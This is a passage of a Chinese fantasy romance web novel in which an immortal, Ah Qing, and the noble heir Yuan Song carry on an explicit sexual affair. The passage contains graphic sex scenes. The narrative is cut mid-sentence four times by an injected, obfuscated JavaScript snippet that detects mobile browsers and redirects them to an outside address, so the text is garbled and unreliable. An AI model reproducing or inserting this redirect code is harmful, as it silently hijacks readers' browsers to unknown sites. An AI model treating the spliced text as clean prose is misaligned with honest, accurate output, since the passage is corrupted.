阿青想告诉他,这种时候没必要太把祖宗的想法当回事,毕竟袁家的祖宗各个都寿终正寝,没什么未了的心愿,早去地府投胎了八百回了,压根管不了后辈在祠堂里做什么,但见袁颂若有所思的样子,逼良为娼的道德感居然破天荒地占了上风。 算了。 床上的鸭子可吃可不吃。 她也不是就非尝这一口不可。 将心比心,当着人祖宗的面做这些事情,还是太天打雷劈了点。 阿青伸手整理了一下颈侧被吻开的衣襟,正想一本正经地劝人回去。 袁颂忽然沉吟片刻:“对着列祖列宗做这些事情,怕等我爹百年后,有人跟他告状,到时候清明扫墓,他不肯让我祭拜。” 阿青:“……” 你也知道。 看来四书五经、圣人圣言的确是没白读的。 长公子多少是有底线的。 “所以我们去后侧的厢房吧。” 言毕,长公子二话不说,端起贡桌一侧还在荧荧燃动的短烛,牵着她的手就往祠堂的偏殿走。 阿青:“……?” 长公子有底线,但不多。 端走祖宗贡桌上的长明烛跟一把掀掉人家的棺材板没什么两样。 袁颂此人看起来严谨端方、知节守礼,但实际上明显不敬鬼神、天不怕地不怕,她大概今天实在是馋鸭子馋太久了,才敢冒着天打雷劈的危险在他面前化形。 阿青没想到自己头回打雁,就被大雁啄瞎了眼。 袁颂对她的无言置若罔察,只笑着牵住她的手,绕进祠堂侧边的长廊。 三更天的夜色深浓,无风。 月光在廊前的绿竹里穿行摇曳。 袁颂说话的时候,会缓下脚步,含笑的眉眼望着她,像是在认真观察她的反应,偶尔说一些旧事,总是欲扬先抑,她心眼实,回回听得惊呼连连,追着他问“如何是好”,引他轻笑。 阿青怀疑他在逗她,但她没有证据。 袁颂口中的厢房其实是一间用于思过的禅房。 袁颂的父亲袁在望打小就对这独子寄予厚望,隔三差五就要从他言行举止中挑些毛病,连骂带罚地贬他到禅房里跪着抄经,美其名曰让他对着列祖列宗好好反省。 袁颂举着烛台走在她前面:“幼年父亲罚我跪祠堂的时候,总觉得像自己这般一无是处的人,长大后恐也庸碌无为,不若趁早一了百了,也省得受人口舌非议,给家族蒙羞,有一日,实在不想抄了,干脆丢了笔,在荷塘边站了很久,后来想想,大好年华如初晨悬日,岂可辜负春光?身体发肤受之父母,岂可用这种方式尽孝?” 阿青想到那日光景,不免有些得意了:“那你那日在池边,有没有觉得水位清浅、荷花正艳?回来之后,有没有觉得,膝盖底下的蒲团特别软?研出的磨砚特别丝滑?” 竹影摇曳,烛火轻晃。 佛幡无风自动,是心动。 袁颂的脚步一顿。 手里的烛台已经跌落。 阿青还未来得及适应突然暗下来的光线,唇瓣已被人先一步封住。 烛台翻下廊沿的台阶,烛心磕在潮湿的鹅软石上,浓稠的红蜡盖住了熄灭的火,只余一阵黑烟,轻飘飘地消散。 滚下的火星子落在唇畔,烧得两个人都发出不能自抑的轻吟。 禅房的门不知道被谁的后背撞开。 屋内黑漆漆。 伸手不见五指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305722|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只有愈来愈清晰的呼吸声一阵急过一阵。 凌乱掉下来的外袍像冰冷的蛇蜕盖住了两人的足踝。 滚烫的手掌攥紧她的裙带,一圈一圈握紧,最后沿着她松散的羽衣,朝最深处滑去。 廊外有雨,淅淅沥沥的雨水声里夹入黏腻的涌潮。 直到阿青腿软得快要站不住,袁颂干脆利落地将她打横抱到了床上。 弱冠后的长公子,已成了同龄人里的佼佼者,极少再被父亲责罚。 但禅房内的一应器物仍定期有人打扫,干净整洁得像他日常的寝居,纤尘不染。 屋内的熏香是他惯用的细雪冷竹,空濛干净的水汽里,隐隐约约夹着一丝馥郁的甜。 明明是很淡的草木香气,却无端诱人得头脑昏胀、任他为所欲为。 混乱中,阿青挑下他的琉璃发簪。 光滑的簪子叮叮当当滚落床下,发出碎玉的声响。 袁颂微凉的发丝如瀑坠手。 阿青握紧他的头发,身落岩浆,被洪欲裹挟。 烈火焚身,浑身上下所有的毛孔都在叫嚣着饥渴。 直到袁颂温热的鼻息从锦衾底下探上来,浮在她头顶。 偏偏那双带着钩子的眼睛,在此刻又澄澈得要命,像最单纯的稚童哄人一样,问她舒不舒服。 烟炉里暖气升腾,于半空处消散不见。 阿青的鼻腔里都是水汽,眼睛里都是氤氲,身下费力吞着不属于她的东西,张着唇,只剩下喘息。 她答不上来,他就又低头吻他。 细碎的吻落在彼此的脸颊、唇齿、颈项,似交颈的鸳鸯、缠绵的蛇。 金钩摇曳。 廊沿落雨。 寂夜寥寥,墨空如洗。 青竹叶盛无根水。 山水泼墨,峦峰起伏。 袁颂入目是雪地,意识却跌进岩浆,五脏六腑在翻滚的熔岩被情欲的炎火炙烤。 不知道是谁的汗先浸透枕被。 阿青恍恍惚惚间,好似自己梦里都在吃鸭子。 但神仙岂会做梦? 她头一回吃这种鸭子,整个人被揉碎在锦缎里找不着北。 直到五更天里,很远的地方传来佛堂声诵。 袁颂忽然从身后吻上来,滚烫的手指掐住她的咽喉,是蛇的七寸。 男子有力的虎口托着她的下巴,迫她侧过颈跟自己接吻。 玉扳指抵着她的喉结,压得她快要窒息。 她被彻底缠住,一时之间,甚至分不清,到底谁才是蛇。 不然为什么总有东西在她身体里长驱蟒行,不知疲倦? 细碎的、高亢的、低柔的、婉转的、断断续续的、低低哭诉的,所有的声音都被他咬着拖咽进咽喉深处。 袁颂琉璃色的瞳孔里,似欲海里浮起的刃光,泛着艳艳血气,是求偿所愿,是志在必得。 道法求自然。 佛法寻通天。 春日宴,百里花堂为道场。 困情欲的凶兽,做阶下囚,搏殊死斗。 5. 005-贪吃蛇 005 天亮的时候,阿青已经分不清今夕何夕了。 不夸张地说,自打成仙以来,她就没这么累过。 听着床榻一侧窸窸窣窣翻身起床的声音,阿青连眼皮都睁不开,左思右想也不明白,为什么她堂堂一个神仙,不过就是想吃顿片皮鸭,怎么偏偏就这样难? 修行了大半个晚上,几百节老腰都要被拗断了。 她只晓得童子身大补,但没想到童子身这么补。 只能说,这鸭子,补得有点太超过了。 阿青费力地扶着腰翻了个身,看着正背对着自己穿衣服的袁颂。 “袁颂。” “仙子有何吩咐?” 袁颂精神抖擞地回过头,阿青不忍直视,残念地闭上眼睛。 “阿青。” “……” “我叫阿青。” 仙子仙子叫得未免文绉绉,她听着陌生,不如直接叫她名字好。 短暂的沉默后,袁颂清明冷冽的眸光难得减去那几分世家长子惯见的那种烟笼雾罩的含蓄游离,只端端地、直白地、一瞬不瞬地看着她:“哪个青字?” “最普通的那个青字,不讲究。” 她原本是大荒山上一块青色的补天石,吸收天地精华幻化出行似女娲一族的仙体,在羽化成仙、魂识初开的前夜,被游历的天帝收为义女。 神仙修行,最忌沉湎七情六欲,天帝望她从始至终都能似顽石般返璞归真,是以就连名号都取得能简则简。 但她是有道号的,只是道号这东西,是身份和地位的象征,跟袁颂一个凡人说了也没什么意思,总不指望他日有被他登门造访仙府的可能。 袁颂静默少顷,珍重目光像握吉光片羽,忽地认真地说:“是青珩的青。” 阿青没多想,点点头说“是”。 “喝水吗?” 温热的梅子茶被递到唇边。 阿青一晚上脱水脱得厉害,只能在心中痛骂自己这百年咸鱼荒度,被区区一个凡人折腾到这种地步,说出去都丢自己这个神仙的脸面。 不过退一万步而言,她好歹长了袁颂两千岁。 一个快两千岁的神仙,体力赶不上一个二十不到的青年,也算人之常情……吧。 想了个乱七八糟但勉强还能说得过去的理由自我安慰。 阿青重新躺回被子里。 她长叹了一口气,把脑袋埋在被子里,声音嗡嗡闷闷,有气无力:“这鸭子喂得太好了,下次不要再喂了。” 双修对她固然增益极大,灵力涨得飞快,但问题是,她这陈年老腰在短时间内真的是经不起昨晚这样的折腾了。 袁颂系衣带的手一顿,如玉的脸上迅速换上一副自责:“是在下昨夜照顾不周。” 阿青对他的谦虚无话可说:“……” 到底周不周长公子心里真是没半点数。 她打着采阳补阴的想法跟他修炼一番,没想到从过程来看,竟然自己才是那个被采补的。 要不是袁颂是她看着长大的,她真要怀疑这人是狐狸精投的胎。 灌得她一肚子的水都变了颜色。 袁颂表情诚恳:“无论如何,今夜请再给袁某一次机会,一定让仙子满意。” 阿青:“……?” 还来? 你小子,胆子很大嘛。 阿青冷笑一声正要拒绝,却见袁颂正色道:“明日府上有人生辰,特地请了荣记酒楼的厨子,专程搭了烤鸭的土炉,父亲奏疏得圣上赏识,圣上专命人送了东海的鳇鱼,据说将冰镇的鱼卵盛几粒放切了片的烤鸭皮上,卵籽的鲜美配合片皮鸭的酥脆,堪比人间绝味。” 阿青被拿捏住了,一时间,进退维谷:“……” 这让我怎么拒绝? 裹着被子气呼呼地翻了个身,用冷酷的后脑勺告诉袁颂,她堂堂一个神仙,断不能被一只鸭子驾得下不了台。 “阿青,你意下如何?” 所谓的意下如何,是他今夜能不能过来找她的意思。 阿青叹口气,只能认了吃鸭的命:“知道了。” - 吃鸭这种事,有一就有二。 一人一神,三更半夜,花前月下,暗度陈仓,主打一个“轻车熟路、心照不宣”。 但世族的长公子,大晚上不睡觉,总是鬼鬼祟祟摸黑来祠堂难免引人耳目、不好解释。 于是袁颂干脆一不做二不休,打起潜心著书的幌子,差人开始翻新祠堂偏侧的旧宅。 袁在望只当是儿子勤勉,立志在列祖列宗的加持下,好好斋戒奏疏,为天下百姓在圣上那边谋一份更好的生计,看着他将东厢寝室里的衣物寝具、书案古籍、文房四宝一股脑地搬了个彻底,也只是心满意足地捻着胡子颔首赞许。 直到他看到儿子命人将可容两人沐浴的暖池都搭好—— 袁在望:总感觉哪里怪怪的,但又说不上来。 对此,阿青表示,天下任何父母都不可以在孩子的成长过程中矫枉过正,否则把子女训得太规矩,等对方长大了偷偷叛逆着做坏事的时候,会很熟练地用幼年光明正大的那一套做派来应付长辈,做父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305723|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一时半会儿真的很难察觉。 于是不负众望的袁颂白日起早上朝,夜里跟她索求无度。 每一个天蒙蒙亮的早上,阿青半梦半醒地躺在留有他余温的被褥里,想不明白袁颂区区一个凡人,从白天到晚上,哪来那么多的力气折腾。 起初袁颂在男女之事上多少带了点世族的含蓄,往往会投石问路、声东击西。 会在假意握着她的手,教她作画的时候,低下头吻她后颈,吻着吻着,阿青就知道,她的修炼要开始了。 会在两人面对面坐着吃饭的时候,借着酒意,不动声色地挑开她的衣襟,阿青:好嘛,早该来了。 会在她准备沐浴洗澡、羽衣脱到一半的时候,状似偶遇般地绕过暖池背后的屏风,阿青看清袁颂脸上那略带抱歉打扰的表情,注意到那双钩子的眼睛,不知道是该骂自己定力浅薄、修为不到家,还是要夸袁颂小小年纪,却能深谙“以己之长攻敌之短”的道理。 最夸张的一次,是两人刚刚吃完宵夜,在夜深人静的荷塘边秉烛消食,袁颂很随意地问她对两人初次体验的评价。 阿青中规中矩地答了个“尚可”。 “那看来是有比较了,才有尚可一说。” 阿青不晓得他怎么得出这个结论,神仙虽然能变化万状,但那种事情,是不是第一次,还是很看得出来的,当即耐着性子老老实实地跟他解释:“我们做神仙的,都是很在惜自己的仙缘的,毕竟,跟你们世族要勤学苦读就为一个功名争破头一样,我们在做位列仙班以前也有各种修行试炼,哪有那个风花雪月的功夫?” 袁颂眉梢轻抬,往她嘴里塞了颗解腻的梅子糖,慢悠悠地说:“那既是‘尚可’,就说明你当时也不算很满意,我果然愚钝,未能领会书中教法精髓。” 阿青:“……” 不要在不该谦虚的时候谦虚!! 袁颂的心思就跟九曲十八弯一样,答得不好分分钟都能掉进陷阱里粉身碎骨。 她吃人嘴短,加上身上多少带着点守护灵的自觉,好歹也为保护袁颂的身心健康出过自己的一份力,绝没有在这种时候打击他的道理,只能端出长辈劝学的架势,安慰他:“有则改之无则加勉,双//修这种事情,勤加练习,总会原来越好的。” “仙子说得对。” 袁颂说完,从怀里掏出一本快要被翻皱的册子。 阿青盯着扉页上写的“房中术”三字,嘴里还没来得及嚼碎的梅子糖“啪”地一下就掉了出来。 “择日不如撞日,还请仙子指教。” “……?” 6. 006-星星 006 日子久了,袁颂也不搞这些虚头巴脑的了,往往是写完了第二天要上疏的折子,搁下笔,问趴在窗边的数荷花的阿青今晚要不要。 阿青嘴里叼着半块他下朝时专程从东市买过来的糖糕饼,大大方方地说:“可以一试。” 她是个石头变的神仙,没有葵水一说,亦无怀孕之扰,所以在男女之事上,反而只剩尽兴。 但也不是日日都这样厮混。 偶尔休沐日的晚上,袁颂也会搬了梯子,带她去屋顶看星星。 阿青对看星星这种事情兴致缺缺,毕竟凡间的星星是从底下往上看的,遥不可及,哪有天界近在咫尺的银河好看? 倘若从母后那里拿到那根能拆散牛郎织女的簪子,她都能把银河里的星星搅弄在手里玩。 袁颂看出她寥寥心意,便也打消了做几首凤求凰的意思,只给她倒了杯酒,很随意地问她:“阿青,你以前有没有跟别人一起看过星星?” 这么白痴的问题不像是袁颂这个聪明人能问得出来的。 阿青有些无语:“我以前很少在人前现身的。” 几日相处,她是个什么底细,同袁家又是个什么羁绊,他已经知晓得一清二楚,没再遮遮掩掩的必要。 袁颂:“我的意思是,你以前在天上的时候。” 阿青:“那可多了,而且差不多每一千年都要换一批呢。” 死寂突如其来。 袁颂僵住给自己斟酒的手,忽然情绪不明地低哼了声,再开口时,语气却莫名换了个调调,又端出一副世家长公子的做派,不紧不慢地叫她“仙子”,声音也跟着夹起来:“那想必,我同那些人比起来,应当是最最无趣、最最普通的一个,你跟我一起看的星星,也是最最寻常、最最不起眼的。” 竹叶酒喝得有点上头,阿青潇洒地把玩着手里喝完的白玉杯,浑然不觉气氛变化:“但问题是,跟她们一起看的星星,是最最折腾人的,天庭每一千年开一次蟠桃宴,最好的蟠桃就长在银河边,母后回回都差我盯仙娥姐姐们摘桃子,谨防蟠桃掉进银河、坠入尘间,干扰常人命数,这种监工累得要死,哪有今日这般怡然自得?尤其有一次,我就在树底下打了个盹,差点——” 话说到一半,对上袁颂一瞬不瞬的眼睛,阿青困惑:“怎么了,我说的哪里不对?” 袁颂重新给自己斟上酒,不着痕迹地弯了一下唇,打开了身侧早就准备好的食盒。 脆皮烤鸭的香气在顷刻间就让阿青意外地“哇”出一声惊叹,望向袁颂的眼睛比头顶的星星还要亮。 袁颂擦净双手,在左手掌面里摊了张薄如蝉翼的饼皮,夹两筷带皮带肉的鸭片,取三根细而短、蘸了甜面酱的黄瓜条,用食盒旁不足指盖大小的银勺从冰格里挖出两粒鳇鱼的鱼卵,均匀地铺入主料里。 四四方方地裹好折起的饼面上下左右的长度和角度都精确到分毫不差,秀致得像个软荷包,好看得人不舍得下口。 阿青盯着他手下不紧不慢裹面饼的动作,惊叹得移不开眼。 不愧是世家的长公子,就算做起这种烟火气十足的、服侍人的事情,也能风雅得像在写诗作画,飘然的仙气竟比她一个神仙还像神仙。 尤其是袁颂的手还生得特别好看。 修长指骨,白皙的指节如凝脂玉,曲指握筷时会绷起右手手背的骨线和淡色的青筋,有一种极具禁欲的性感。 阿青盯着他的动作,本能地吞咽了两口,一时半会都分不清,她馋的到底是他的手,还是他手里那包裹好的鸭肉。 “在看什么?” 袁颂将包好了一块鸭饼,喂到她嘴边。 阿青含含糊糊地支吾了两声,注意力已经被嘴里的美味吸引。 鳇鱼的鱼卵被牙齿咬开,微凉甘甜的海鲜汁水充分激发鸭肉的丰厚口感,后调用清脆的黄瓜解腻。 荷包的饼皮她一口塞不下,怕甜面酱爆汁出来,只能伸手把后半截食物塞进嘴里,填得一侧的脸颊都微微鼓起。 袁颂盯着她吞咽的动作,忽然觉得酒盏里的佳酿也不够解渴。 她嘴这样小,也不知昨晚是怎么费力地把整个儿都吞进去的。 他中间还担心她难受,但密密麻麻的舒畅在脊背上接二连三地炸开,让他一句中止的话也说不出来。 奔涌而出的热意淋漓尽致地浇出来。 跃如擂鼓的心跳里,他耳边只能听见她的呼吸,身体只能感受到她口腔的温度,眼前只能看见窗边那卷摊开的话本。 漏窗而入的夜风哗啦啦地吹翻书页。 话本内页惟妙惟肖的工笔画上,正好是一副芭蕉春困图—— 着薄透短衫的女子低着头恭顺地跪在开了窗的竹榻前,脸就埋在宽大的芭蕉叶后,竹榻上的男子脱得只剩一件薄衫,闭着眼睛,不知是在真睡还是在装睡。 点到即止的笔触留有无限遐想的意趣。 返璞归真的神仙浑然不似闺阁小姐的忸怩,旺盛的求知欲,看到什么都想尝试。 ——大胆、肆意、妄为,却又没心没肺。 红袖添香夜,明明已经做尽亲密事,但好像不管他如何尝试,两人的关系似乎也只是到这一步为止。 男女之欢对阿青而言,根本就不是情到浓时的兴之所至,反而更像一场尝鲜的游戏。 她贪图玩乐,所以他对她而言,也不过只是一时消遣的玩伴而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305724|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 但有的时候,袁颂又会忍不住想,阿青到底有没有点待自己与待别人的不同。 旁敲侧击问过几次,回回又被她懵懵懂懂地打开了岔。 袁颂舍不得生她气,只能加倍从别的地方讨回补偿。 入了夜的袁府安静,初秋的夜风舒爽地吹在人身上,阿青被酒渍打湿的衣襟贴在皮肤上,隐约能看见边缘小巧而饱满的轮廓,像春情辽原里的一把火,烧得人心口发烫。 偏她一口鸭肉还吃得慢条斯理,鼻腔里哼哼唧唧的嘤呜声不断,袁颂被磨得耳朵发痒,心猿意马地从她唇畔移开眼,已经清晰地感知到了身下起的反应。 他靠在凭肘上郁闷地默背《六国论》冷静,衣袍却被人轻轻扯了一下。 阿青骄矜地用下巴点了点食盒,袁颂会意,叹了口气,又爬起来给她包鸭子。 第二块的荷叶饼被喂到嘴边,阿青盯着袁颂修长的手指再次不由自主地出了片刻神。 囫囵吃了两口,情绪依旧莫名不得劲,说不出个所以然,也理不出头绪。 她只晓得,今晚这道合该是人间绝味的片皮鸭跟袁颂这种绝色美鸭一比,实在差得有些远。 赶在袁颂躺回凭肘之前,她干脆握住他的手,低下头不疾不徐地吮吻他指尖那点粘上的甜面酱,像小猫舔食似的,温热柔软的舌尖一点一点刮着他温润的指腹,见他没有撤回手的意思,她就抓着他的两根手指,慢条斯理地一点一点往嘴里吞。 怡然对饮的气氛变了味,渐渐地也叫人品出一丝粘稠的旖旎。 微凉的深夜,露水的潮气,也被她口腔的热度给蒸发殆尽。 身体里的岩浆开始涌滚,烧得他五脏六腑都在煎熬,叫嚣着想侵入。 阿青眼帘微微上瞟,偷偷地、欲盖弥彰地看他,是学他曾经无声而大胆的邀请。 袁颂对她的举动未置可否,目光一瞬不瞬地盯着她,逐渐深浓的眸色却依旧意味不明地跟她拉锯。 男女之事,讲求一个平等,一个你情我愿。 袁颂找她的时候,她多半是乐意的。 但她找袁颂的时候,他几乎从不正面点头,只眨着一双欲语还休的眼睛,藏进许许多多的话,也不知是等她再主动一点,还是别的什么。 阿青也不再管他意见,只轻车熟路地从他微微松开的腰带底下探过去。 触碰到他的时候还是明显愣了一下。 她起念也不过片刻,按道理他变化还不至于此。 阿青还没来及想明白为什么,就看到袁颂微微抿紧了唇线,颈项的青筋也跟着慢慢崩紧浮了上来,鼻腔里的呼吸声变重。 有东西已经沉甸甸地翘在了她手里。 7. 007-芭蕉雨 “今晚还要不要?” 阿青像懵懂的、想跟人亲近的幼兽,半跪起身,凑近他的脸想吻他,却被袁颂扭开脸。 这种半推半就的拒绝并不会让阿青气馁,她按着他的胸口,又靠近了他一些,眨动的眼睫扫过他的脸颊,直到身影的轮廓完全盖住他视野,呵着兰气的唇就悬在他唇峰之上,将落未落地只用气息描摹他的唇形。 到底是没得他应允,她这回不敢再亲。 只抿着唇,委屈巴巴地等他主动凑过来。 袁颂原想借这个机会跟她好好说理,可好不容易硬气起来的原则,顷刻就被她灵活的手指搅成了一团浆糊。 她明明手上在做最下流的事,偏偏目光又澄澈干净得像无波无澜的静湖,让“蛇性本淫”这四个字在她身上都有点站不住脚。 “昨天晚上的书还没看完……你带上来了吗?” 袁颂不想就这样遂她心意,但又实在招架不住,只能恨恨地把眼睛闭上,任她为所欲为,偶尔重重地喘出两口呼吸,就当是回应和鼓励。 “你在这府上几百年,除了费心照顾过我以外,还有没有别人?” “为什么这么问?” 袁颂难得从欲海里捞回一份清明,理直气壮地说:“因为我心眼特别小。” 阿青茫然地眨了眨眼,不明白这上下文之间有什么联系:“啊?” 见她又露出这副一头雾水的样子,袁颂气不打一出来,忍着越逼越近的欢潮,憋了好久,也不知道该怎么跟一个冥顽不灵听不懂言外之意的神仙解释:“总之就是特别小。” “哪里小了?”阿青在衣袍底下轻轻圈了一下,发出了没见过世面的感慨:“明明这么大呢。” 袁颂:“……” 阿青边说还边掀起他的外袍让他好好认识一下自己:“这种时候,你就不要谦虚了。” 袁颂闷哼了一声,一下子没忍住,弄得她一手都是。 他脸红脖子粗地瞪了她好一会儿,却丝毫没有偃旗息鼓的意思,好心肠的阿青本来还打算好好再帮他一下,却忽然见他薄软的唇瓣上下一碰,也不知说的什么。 屋顶月色昏暗,她看不清袁颂口型,不能确定他是在说她“笨蛋”,还是跟她说“不要”。 她看着袁颂牢牢攥着自己的衣带,像道馆里立誓守贞的俗家弟子,不准她再在他身上为非作歹。 阿青不明所以,更觉得他此刻的情绪莫名其妙。 长公子好端端的,为何突然又要这样? 今晚她还能不能好好修炼了? “你就实话告诉我,”袁颂咬牙切齿地瞪着她,“你到底有没有像对我一样对别人那么好过。” 困在袁家祠堂里的这几百年,有没有对别人见色起意过,有没有偷偷念了术法对别人的绝境施过援手,有没有这样没心没肺地陪别人玩闹过,然后转头就将那人抛诸脑后。 阿青:“……” 袁颂有时候明着给谜面,有时候又喜欢打哑谜。 她大多数时候都猜不透,干脆他问什么答什么:“拜托,我要不是一时嘴馋在馄饨铺里给人骗,也不至于在这个宅子里逗留这许多年,退一万步讲,换你一出门就给人骗了来牢里做长工,你头几百年,肯定也是要消极怠工的。” 阿青都没好意思告诉他,她头几百年真的趴在房梁上睡得昏天暗地,就算袁家的宗族们用脆皮烤乳猪把她香醒,她都要气哼哼地往那头猪身上吐口水。 “虽然是拿灵气滋养你家的气运,但我确实懒得管你们家宅里的那些肮脏事,搞出人命了也同我无关,我那时候想过,就算生生受几道天雷灰飞烟灭,我也是不要遂你们心意的。” “但好歹,你们袁家这百年来,也算太平,嫡长子各个身强体壮不用操心,直到有天晚上,我被东厢房里的一声婴儿啼哭声惊醒,翻身的时候不小心从房梁上掉下来,掐指一算,才发现解命契的时辰快要到了,这才特地磨磨蹭蹭地踩着尾巴做点什么,毕竟也受了你们袁家这么些年的香火,求一个两不相欠——神仙也是这个样子的,心情好了才干活,心情不好,就算天王老子来了,也是没用的。” 这就是没有对别人这么好过的意思了。 袁颂脸色稍微舒坦了一点。 阿青单手托着下巴想了想:“哇,你是不知道,那天晚上的那个婴儿哭得可响了,我被吵得心烦,就随手念个小法术下了场雨,噼里啪啦的雨水落在芭蕉叶上,没一会儿哭声就静了。” 他生于十八年前的处暑,那日不巧母亲感染了风寒,高烧未退,连带他落地时也染了余热,夏夜闷热无风,接生的稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305725|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆担心他过不了当晚,却没想到突如其来一场及时雨,解了连日的暑气,也破天荒地降了他身上的热温。 袁颂不着痕迹地看了她一眼,只一眼,目光就再移不开。 阿青还在回忆:“我被吵醒以后,已经很难再像之前一样睡回去了,但一个人在祠堂里真的挺无聊的,于是我就天天盼着能有人来庆典祭祀,让我多见几个活人,热闹热闹也好,直到三年后,你爹袁在望升任礼部尚书一职,他意气风发地走进祠堂跪谢列祖列宗,头回叫我瞧见了他身边跟着的那个小短腿。” 妻子难产死后,袁在望没再纳什么妾室,一门心思扑在对独子的教育上,对袁颂的严苛远近闻名,立誓要栽培他成为端方君子,做栋梁之才——三岁的幼童学会走路后,便再不许下人乳母抱他,这么小的孩子,摔疼了肯定也是要哭的,但袁在望从来不哄,只是冷声让他独个儿站起来,又冷声地问他到底记没记住教训。 那日在祠堂门前的空地上,阿青看着奶呼呼白白净净的袁颂实在可爱,赶在他摔倒之前,吹了口气,吹走了那块可能会磕痛他的石头。 她忽然话锋一转,笑着用那只沾了他污渍的脏脏手去戳他的脸,却被有洁癖的长公子避过脸,捉住手腕,拖到一旁用湿帕子净手。 “是谁家的小娃娃,在祠堂里把鼻涕泡泡吹得比我的拳头还大呀?” 袁颂:“不可能。” 阿青:“为什么不可能,你还记得你那么小的事?我可是亲眼所见的,早知道就用留影石把你当时的样子记下来了。” 袁颂慢条斯理地把她每一根手指的指缝都擦得干干净净,末了还不忘抹上杏仁膏:“袁氏族训,祭祀时必须整衣净容,举止雅正,这些东西我不到三岁就会背了,怎么可能会违背祖训,在那种场合有失仪容?” 阿青:“……” 怎么回回都是这样? 就只准袁颂一本正经地逗她,她却永远都骗不了袁颂? 好不公平。 阿青不服气地不想再同他多说,但袁颂听完这些,心里已经很满意了,不愿再浪费春宵,似笑非笑地低哼了一声,主动伸手解了自己的腰带。 阿青的目光顺着他手下的动作,落在他小腹延伸往下的青筋上,待看清了,一时间,再次发出了没见过世面的感慨。 8. 008-水经注 008 袁颂双手握住她的腰,大大方方地抱着她坐在了自己身上。 一下子被填到饕足,阿青很自然地就抱住他的颈项去亲他。 袁颂的呼吸声压在她耳畔,哑着声音让她动静小些,毕竟是在屋顶,路过的下人一抬头,什么都能看见,阿青想给两人周围设个界,袁颂却觉得这样的体验别有一番风味。 立志在解开命契前努力双修积累经验条的阿青:“……” 凡人就是花样多。 搞得她都莫名有点紧张了。 她一紧张,明显就感觉袁颂的呼吸更急了。 袁颂绷着颈项的青筋弄到一半,不知道从哪掏出了两人昨晚没看完的书册。 湛青色的封皮上正儿上八经写了《水经注》的书册,翻开内页,却是一本剧情跌宕起伏、图文并茂色香俱全的艳情话本。 阿青头一回看到这个书名的时候,对他的智慧目瞪口呆,问他给这种书套这样的书皮的时候,他的良心会不会痛。 袁颂对此的解释大言不惭:“反正都是治水,有堵有疏,也不算掩人耳目吧。” 阿青一个活了两千多岁的神仙当场发出了没见过世面的感慨:“……” 真是令人无法反驳呢。 两人一边看书一边调整姿势。 袁颂上来之前,特地给有插图的那几页做了记号,方便两人在模仿的时候,有文字内容做想象解释。 “水经注”是本章回体的□□,讲寒窗苦读十年的书生,在赴京赶考的路上所经历的一系列香//艳情事,有新丧的寡妇、青楼的歌女、知恩图报的山间精魅,还有达官贵人家的闺阁小姐,燕瘦环肥在包罗万象的“水经注”里,应有尽有。 他们翻到的那一页,正好写到书生在元宵节于游船上对宰相千金惊鸿一瞥,当夜便在梦里泄了阳关。 行文里夹杂几句小小的脂批,讲总角男子初次时皆有这样的经历,因为是梦,所以就更能对梦里的人为所欲为。 阿青咬着他唇畔那粒痣,于昏茫的月色里去找他的眼睛,好奇地问:“你也有过?” 袁颂没有正面回答她的问题,但沉默的回吻自然也算一种默认。 阿青继续好奇:“这书生在梦里想的是宰相千金,把人家这样那样的,你呢,你在梦里把谁这样那样了?” 她问这些话时,脸上的表情丝毫没有半点吃味的嗔怨,清明澄透的只像是在跟他聊一个无关紧要的天。 袁颂看得心里有气,但又不好在这种时候发作,只能狠狠地用力警告她不要在这种时候多嘴。 说这些有的没的来煞风景就算了,还屡屡凑到他跟前给他心里添堵。 来撩他的是她。 喋喋不休败人兴致的还是她。 阿青被弄得嘤咽了好几下,身体很快就出了汗,望着他的眼睛却依旧清清透透,分毫不见沉湎,只是把手贴在他的脸上,温声细语叫他“袁颂”。 男欢女爱对她而言,只是一场路过人间的游戏。 被日思夜想折磨是他一个人的事。 被求而不得困扰是他一个人的事。 被患得患失逼到寝食难安也是他一个人的事。 从头到尾。 一切都只是他一个人的事。 